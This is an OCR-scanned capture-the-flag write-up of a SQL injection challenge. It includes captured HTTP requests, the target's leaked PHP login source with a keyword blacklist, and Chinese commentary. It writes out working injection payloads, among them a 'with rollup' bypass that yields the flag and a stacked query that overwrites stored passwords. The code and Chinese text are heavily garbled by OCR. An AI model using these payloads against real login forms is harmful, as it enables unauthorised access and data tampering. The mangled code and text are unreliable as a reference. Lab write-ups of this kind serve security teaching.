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Request Response
RanParams| Headers | Hex| Raw| Headers | Hex|
POST fweb/pcat/findex.php HTTP/1.1 ;l HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com Server: nginx/1.10.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Fri, 16 Aug 2019 00:32:51 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh Connection: close
Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.38
Referer: http://ctf5.shiyanbar.com/web/pcat/index.php Content-Length: 15
X-Forwarded-For: 4.5.6.7

Connection: close — L !
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

uname=18&pwd=1

o [FEREMRAE R P HRHAEENER, BEEFHERD.
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<html>
<head></head>

<form action="" method="post"></form»

I <l--source: source.txt--»> I

</body>
</html>
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(1) () ctfS.shiyanbar.com/web/pcat/source.txt
if (!'isset (S POST['uname']) || !isset($ POST['pwd'])) {
echo '"<form action="" method="post">'."<br/>";

echo '"<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '"</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";

die;

}

function AttackFilter ($StrKey, SStrvValue, SArrReq) {
if (is array(SStrValue)) {
SStrvalue=implode (SStrValue) ;
}
if (preg match("/".SArrReq."/is",S$StrValue)==1) {
print "JKAJEFT, IFATEEME !

exit ();
}

Sfilter = "andl|select|from|where|union|join|sleeplbenchmark|, IN(I\)";
foreach ($ POST as Skey=>Svalue) {

AttackFilter (Skey, Svalue, $filter);
}

Scon = mysgl connect ("XXXXXX", "XXXXXX", "XXXXXX") ;
if (!Scon){
die('Could not connect: ' . mysgl error());

}
Sdb="XXXXXX";

mysgl select db($db, S$con);

$sql="SELECT * FROM interest WHERE uname = '{$ POST['uname']}'";
Squery = mysgl query(Ssqgl);
if (mysgl num rows(Squery) == 1) {
Skey = mysgl fetch array(Squery);
if (Skey['pwd'] == $_POST['pwd']) ({
print "CTF{XXXXXX}";
lelse{

print "IRAIEME ! "
}
telse(
print "—ENFEM ! ;
}
mysgl close (Scon);
?>
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function AttackFilter ($StrKey, SStrValue, SArrReq) {
if (is_array($Strvalue)) {
SStrValue=implode (SStrValue) ;
}
if (preg match("/".SArrReq."/is",SStrvalue)==1) {
print "JKRIE A, TRAIFHMpE ! ";

exit () ;

Sfilter = "and|select|from|where|union|join|sleep|benchmark]|, IN(I\)";
foreach ($ POST as Skey=>Svalue) {
AttackFilter (Skey, Svalue, Sfilter);

o EEHEPITHIES), $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; , iXH RPR#| T uname.
BERXEEHTRE, REl—, HHHRMICFERAEE T, WRAR—THIE, REER—EEE! ". WRL—1Tid
*, BREXMELNEANZLA—, REERDAIHEE! " . .

$sql="SELECT * FROM interest WHERE uname = '{$ POST['uname']}'";

Squery = mysgl gquery(Ssqgl);
kA1
(mysgl num rows (Squery) Z

{
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telse(
print "IREIEEME! ";
}
telse(

print "—FEM ! ";
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Request Response

Raw] Params | Headers | Hex| Raw} Headers | Hex|

POST /web/pcat/index.php HTTP/1.1 ﬂ HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com Server: nginx/1.10.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Fri, 16 Aug 2019 00:32:51 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh Connection: close

Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.38

Referer: http://ctf5.shiyanbar.com/web/pcat/index.php Content-Length: 15

X-Forwarded-For: 4.5.6.7

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 13

g

uname=18&pwd=1
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Request Response

RanParam5| Headers | Hex| Raw | Headers | Hex |
POST /web/pcatfindex.php HTTP/1.1 ;l HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com Server: nginx/1.10.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Fri, 16 Aug 2019 01:19:(
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh Connection: close
Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.38
Referer: http://ctf5.shiyanbar.com/web/pcatfindex.php Content-Length: 15
X-Forwarded-For: 4.5.6.7

Connection: close IR FEREL |
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

uname=1'or 1 limit 1 #&pwd=1

o MARRE—HDT, HHHE, XMATMEFLLL D, FroUBREsAR T, ZikHER B0 R A\ K%Y
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Content-Length: 43

uname=1' ;update interest set pwd=1 #&pwd=1
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Raw} Params | Headers | Hex| Rawl Headers | Hex|
POST /web/pcat/index.php HTTP/1.1 ﬂ HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com Server: nginx/1.10.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Fri, 16 Aug 2019 01:32:38 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh Connection: close
Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.38
Referer: http://ctf5.shiyanbar.com/web/pcatfindex.php Content-Length: 15
X-Forwarded-For: 4.5.6.7

Connection: close PINIE 3131
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length; 28

uname=1" or 1 limit 1#&pwd=1

o ULHARINIFHBEA BRI, REFEMET, URBEHIXMEEFETRBRB RN, 22 iiEwiteuph 22, FIH
group by with rollup 2 7= A — 1744, 3+ H, group byPABEANEB#HTHH, XANFBRERE —ITHIEF RS UNUYFEE,
BB REARTHFEERAT LRI T, XEF—XRER, MEHTREER—THE, WATWMAA Geikgroup byr=4E 4k
NN, FHERAE -, B — TERMBEE -/ DT. . .

o ETRFHAT LIMIT rows OFFSET offset EVERFITERM, B2 uname=1' or 1 limit 1 offset 0#&pwd=1 EiRKIZH —
7S, 4%%2 uname=1' or 1 limit 1 offset 1#&pwd=1, IRERHKERAE —THEE.

A-FPowered-By: PHFI5.9.58
Referer: http://ctf5.shiyanbar.com/web/pcat/index.php Content-Length: 15

Accept-Encoding: gzip, detiate
X-Forwarded-For: 4.5.6.7 ‘




Connection: close PINEIE 518
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 37

uname=1"or 1 limit 1 offset 1P&pwd=1

4K %E uname=1' or 1 limit 1 offset 2#&pwd=1 , XRBERERA—F, HARRBEEE1TEHE, ERBITX BRI T
ReEWIl—171, RE—MTE, RAEEMEEDI, FCLXHERENLERT, BERE217.

X-Forwarded-For: 4.5.6.7
Connection: close — g
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 37

uname=1"or 1 limit 1 offset 2#&pwd=1

M2 J5 HpayloadEt 3R T uname=1' or 1 group by pwd with rollup limit 1 offset 2#&pwd=, HZ—EZEILB/AT
M .

Referer: http://ctf5.shiyanbar.com/web/pcat/index.php Content-Length: 28
X-Forwarded-For: 4.5.6.7
Zonnection: close CTF{with_rollup_interesting}

Jpgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

Iname=1" or 1 group by pwd with rollup limit 1 offset 2#&pwd=

ISE
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limit: https:/baynk.blog.csdn.net/article/details/99258754
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